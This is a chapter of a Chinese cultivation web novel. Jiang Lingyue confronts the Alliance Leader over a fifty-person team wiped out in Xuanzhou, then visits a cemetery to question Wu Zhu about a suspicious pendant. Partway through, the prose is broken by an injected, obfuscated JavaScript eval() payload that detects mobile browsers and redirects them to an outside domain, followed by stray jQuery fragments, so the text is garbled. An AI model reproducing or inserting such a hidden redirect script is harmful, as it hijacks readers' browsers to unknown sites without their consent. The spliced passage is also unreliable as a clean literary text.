34. 第三十四章

作品:《与疯批双双重生后

    翌日清晨,戒律司通往盟主殿的道路上。


    江凌月御剑而行,顾长生紧随其后,谁知刚转过最后一处房角,就被一弟子伸手拦住。


    那小弟子身着戒律司服装,一板一眼:“站住,戒律司查喝酒后御剑,还有,你道侣离你太近了,让他飞远点。”话音刚落就要把测酒符贴她身上。


    紧跟江凌月身后的顾长生立刻咧开个春风满面的笑容。


    江凌月面无表情地看了一眼小弟子,一言不发,他身后的其他弟子立刻涌上来把他嘴捂了个结结实实,顷刻拖走,满脸赔笑。


    “江司主,他是天枢司刚分来的,选拔刚结束。”


    “司主,今早丙肆号卡口共通行七十四人,酒气未消者共二十三人,已全部拿下!还请司主放心。”


    江凌月从鼻腔中嗯了一声,盯着那小弟子看了半天,直盯得人膝盖发软,即将从剑上跌落下去,就听江司主说了句“继续努力”后,素白的身影伴随着道寒光消失在远方。


    顾长生连忙追上,声音中满是讨好:“师姐,他说我们是道侣,看样子我们极其般配啊。”


    江凌月用眼角睨了他一眼,反问:“怎么,被人误解这么使你高兴?”


    也不怪小弟子误解,江凌月常年一身白,以至于乔雪深刻怀疑她是不是批发了很多件来回换着穿。


    而事实证明,就算是素白衣衫也有一些细微差别,就比如顾长生愣是不知从哪儿淘出来一件相同的白色道袍,上面所绣花纹都极为相似,两人往那一站还真有点情侣装的味道,也不怪会被不认识的小弟子认错。


    顾长生勾着嘴角,满面春风:“这能是误解吗?这是事实啊,事实证明只有我才能站在你身边被人误解成是你的道侣,之前翟景那玩意顶着未婚夫头衔这么久,不还是没点用吗?”


    江凌月满脑子都是要不然让他立刻现在滚蛋,偏偏眼角余光在扫视到他那张嚣张至极的笑脸时,所有话都吞入回了肚子中。


    最终,她猛然一个急刹,沉默着在盟主殿前停下剑刃,挥手将佩剑收回剑鞘,愣是头都不回地向着盟主殿深处走去。


    “江……江……江司主。”盟主殿内的小弟子个个低着头,大气不敢出,“盟主从昨晚开始就一直在等您,没想到您今早才来,好像脾气有些不是很好。”


    盟主殿向来人不多,而盟主一旦“脾气不好”的话,就更少了,毕竟他再怎么说也是当今修仙界修为第一人,唯一一位大乘期后期修士。


    苍翠的玉石地板光可鉴人,冰冷地倒映着稀疏的人影,雕花窗棂将清晨的光芒滤入,投下几道孤寂的光柱,细微的浮尘在其中不断上下。


    江凌月睨了小弟子一眼,将昨日拿到的密信交于小弟子手中,说:“我不进去。”


    小弟子满面为难:“这……”


    江凌月一字一句:“让他出来见我。”


    顾长生站在江凌月身后满面春风,对着小弟子咧出一口白牙,小弟子头一低连忙跑开。


    仙盟自从创立,何曾有过如此倒反天罡一事,司主不仅放了盟主一晚上鸽子,甚至还让他出来见她。


    但在江凌月身上,这事就这么发生了。


    孟繁华铁青着脸,眼底布满血丝,手中攥着那封密信急匆匆地从自己的房内走出,声音在大殿内不断回荡,好似极为无奈:“江司主,这事确实是我的问题,可你说我能怎么办!”


    话音中愣是听出点奇怪的咬牙切齿,但江凌月却丝毫不为所动。


    孟繁华目光十分自然地掠过顾长生,最终定格在江凌月面无表情,风轻云淡的脸上,深深叹了口气,说:“当时你昏迷不醒,我又听说能有这等怪事,只能出此下策啊!”


    昨夜,在江凌月看完那封信后,只觉着这任务要不然谁爱做谁做吧,她实在是卷不动了。


    可再看着顾长生满是笑意的脸,耳边是那些日夜相处弟子们爽朗幸福的笑声,她感觉这个世界虽烂,但还不到无法拯救的地步。


    盟主孟繁华在听说江凌月要去宣州城调查后,第一时间找寻了白薇长老,询问了当日所发生的具体事宜,便秘密派出了一支五十人的队伍前往宣州城。


    无人知晓,除了蕴灵司,各司部抽出十人,只说盟主找寻。


    上至化神期,下至金丹,某种意义上可谓是大手笔,哪怕宣州城内有高阶魔族都能屠个来回。


    而这支队伍在进入宣州城不到两周后,于昨夜,命灯全灭,信息全无。


    至此,孟繁华才彻底慌了神,连忙找到江凌月,希望她能拿个主意。


    但江凌月来到这儿之后一言不发,就这么静静地看着盟主,大殿瞬间陷入一片死寂,只有遥远的仙盟内传来的隐约人声。


    第一个打破沉默的是顾长生,他收起脸上那玩世不恭的笑意,蹙眉看着孟繁华,轻笑一声,“五十人,化神期带队,还能全军覆没呢?”


    孟繁华斜着瞥了他一眼,微不可察地眉头一皱,却又舒尔展开,深深叹了口气:“是……,我也未曾想到会是这样,本意只是想去秘密调查一下,替江司主获得些信息。”


    顾长生头一歪,嘴角勾起个十分嚣张的笑:“这是调查啊?您这个盟主可真是——”


    “够了。”江凌月冷声打断,看向孟繁华,“命灯是怎么灭的?”


    见江凌月终于出声,孟繁华那张阴郁的面孔终于见到了点阳光,却又带着诡异的绝望。


    “瞬间。”


    “瞬间?”


    “是,一瞬间,并且在此之前没有任何信息传来。”


    孟繁华声音干涩,整个人仿佛瞬间苍老了十岁,“不是相继熄灭,就是一瞬间,五十盏魂灯全碎。扪心而问,哪怕是我,除非全力一击,不然根本做不到。”


    而他却是人类战力的巅峰,大乘期后期修士,甚至能够一剑分昏晓的存在。


    这次轮到江凌月惊讶了,下意识地,她看向顾长生。


    同等的愕然从微微紧缩的瞳孔中一闪而过,在无人注意到的地方,顾长生的手指抖了两抖。


    就是这两下,让江凌月心底瞬间沉了下去。


    她收回目光,看向孟繁华:“把你已知的所有信息,前面所有的记录,魂灯最后熄灭的时间,全部送到戒律司,三日后我会出发前往宣州城。”


    命令的口吻。


    孟繁华看着面前这个修为远低于自己,气势却完全压倒自己的戒律司司主十分疲惫地摆了摆手,说:“……好,半个时辰内,一定送过去。”


    江凌月得到答复,毫不犹豫,转身便走。


    走了两步后却突然停下脚步,声音如同淬了冰一样冰冷,回荡在空旷的大殿内:


    “无斥候探路,无先遣部队侦查,无伪装无计谋,”


    她顿了顿,继续说道:“您的决策,丢的可是别人的命。”


    这话极其不客气,如同一个响亮的耳光直接打过孟繁华的脸,偏偏还是实话,让他无法反驳。


    笔直的脊梁弯了弯,徒留一阵痛彻心扉的叹息充斥着大殿之中。


    江凌月再无多言,衣袂托起阵萧瑟的风,划破盟主殿近乎凝滞的空气,大步离去。


    *


    草丛间苍白色的小花随风摇曳,深秋的风将悲凉沉淀,一座座坟头随着步伐出现在远方。


    陵墓的入口上书三个沉重的字迹:归墟冢。


    不少人影活动在陵园的深处,江凌月站定在入口处。


    顾长生问:“他们是?”


    他转脸看着一旁静默的江凌月,没来由地心脏颤了两颤。


    “蕴灵司,负责因屠魔而战死弟子们的后事。”她语气平淡,听不出任何悲喜,“镇魔司和他们交流较多。”


    顾长生颔首,以示了解,片刻后他刚想开口,就被江凌月用手势打断。


    “两个问题,”她转头看向顾长生,眼神波澜不惊:“五十人,但盟主没有和任何人说,为什么会全军覆没。”


    顾长生看着她的双眼没有回答。


    “第二个问题,”江凌月别开头,看向远处一排排的墓碑,声音中带着隐秘的疲惫。


    “为什么魂灯会全部瞬间碎裂?”


    远远地,似乎传来了什么人悲伤的哭声,如同柄木槌敲打着江凌月的心脏,带来阵阵钝痛。


    顾长生看着远处新立的墓碑,眼底掠过一丝极淡、几乎无法捕捉的厌弃。


    他厌恶无意义的牺牲,以及无可救药的愚蠢。


    于是他幽幽开口:“所以师


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352337|177368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姐带我来这儿,是为什么呢?”


    “总不至于是吊唁那些我从未见过面的人吧?”


    这话可谓是刻薄至极,带着股难以言喻的冰冷。


    但江凌月并没有立刻动怒,她只是缓缓转过头,眼神如同刀刃,寸寸刮过顾长生的脸,最后对上他那晦暗不明的目光。


    “吊唁是做给活人看的,我从不吊唁,没有任何意义。”江凌月的声音平静得可怕,“我是带你来找人的。”


    目光向着陵园最深处飞去,越过郁郁葱葱的树木,青石铺就的地面,点缀着白花的草坪,最终落在那近乎隐入阴影的身影——巫竹。


    顾长生眨了眨眼,继而勾起嘴角:“师姐有我一个还不够吗?她是谁?”


    “镇魔司司主,巫竹。”


    江凌月没有理会顾长生那酸溜溜的话,抬步走向归墟冢深处。


    这里被蕴灵司收拾得很好,没有那些湿气和死寂,草坪中种满了各色的花朵,四周栽满了郁郁青青的树。


    墓碑上刻着生辰八字与姓名,殁于何处,魔族下场又如何。


    这是她来到这个世界后,所做的一件事——建造归墟冢。


    巫竹整个身影都藏匿在阴影中,她蹲在一座破旧的坟茔前,指尖轻轻拂过粗糙的石碑。


    清风徐过,吹来阵阵酒香。


    江凌月:“……起来。”


    巫竹缓缓转头,长发乱乱地披散在身上,近乎将她彻底包裹住,徒留下巴掌大的白皙面孔对上江凌月,满脸泪痕。


    “江司主……”她微微张口,“你怎么来了,有什么问题吗?”


    “我四日后要出发去宣州城,这人作为我的副手与我同去。”江凌月声音十分平静,好似完全忽略了她面上的泪痕。


    她命令道:“昨日你状态不好,他也有事不在,所以今日特来找你问明白,什么叫宣州城是个人魔和平相处的地方,以及祈圣司送给你的吊坠让他看一眼,他好像在哪儿见过。”


    顾长生一挑眉,看向江凌月,眼底的笑意更深了,却也愿意顺着她的表演进行,昨晚崔子曜所来后发生的一切还历历在目。


    祈福的金光不断从天空中落下,但在江凌月眼中不过虚无,她收下盟主送来的迷信,看向崔子曜,随意问道:


    “我今日看到了你们送给巫竹的吊坠,能够帮助她缓解心魔,挺好的。我还从没有听说有这样的咒言,你们是怎么做到的,这样吊坠你们又送给了谁?”


    崔子曜十分客气地笑了笑,回答道:“江司主,您真是太客气了,这是我们祈圣司应该做的。至于那上面的咒言是翟景少司主自己研发的,可以吸收魔气,因为刻下咒言的失败率较高,目前就成功了五枚吊坠,巫竹司主拿到的是其中一枚。”


    而在崔子曜走开后,他硬是凑在江凌月耳边将他所知道的一切都告诉了她:“让我看一眼吊坠,翟景那玉佩上的咒言我都记得。”


    但他没有说完,那咒言是苍梧神君所创,本意是将魔气强行灌入修士身体催化成魔的,翟景玉佩的咒言,是反着的。


    而现在,这段反书的咒言,再次原原本本地出现在了他的面前。


    巫竹抹干净自己面上的泪痕,单手拎着吊坠,眼神中流露出一丝依赖和犹豫,弱声弱语:“它救了我很多次,唔……我记得翟景说给很多人送了,可能他看到的是别人的吧?”


    江凌月的语气不容置疑:“只是看一眼,有我在不会有问题。”


    巫竹看了一眼她,又将目光转向一旁笑得人畜无害的顾长生,这才慢慢松开手将吊坠送了过去。


    顾长生假装细细端详,半晌嗯了一声,将吊坠还给巫竹,转头笑着对江凌月说道:“看样子是我记错了呢,师姐。”


    巫竹咦了一声,“白薇长老收新徒啦?什么时候的事。”


    江凌月:“……说说宣州城的情况,实不相瞒,我估计你并不知道。”


    “盟主派遣了一支五十人的队伍前往宣州城,昨夜所有命灯全数熄灭,里面有你们镇魔司的十名弟子。”


    说到这儿,她停了停,继续说道:“我们四日后要出发去宣州城弄清楚到底发生了什么,你的情报很重要。”


    她将“四日后”这个词汇念得格外有力。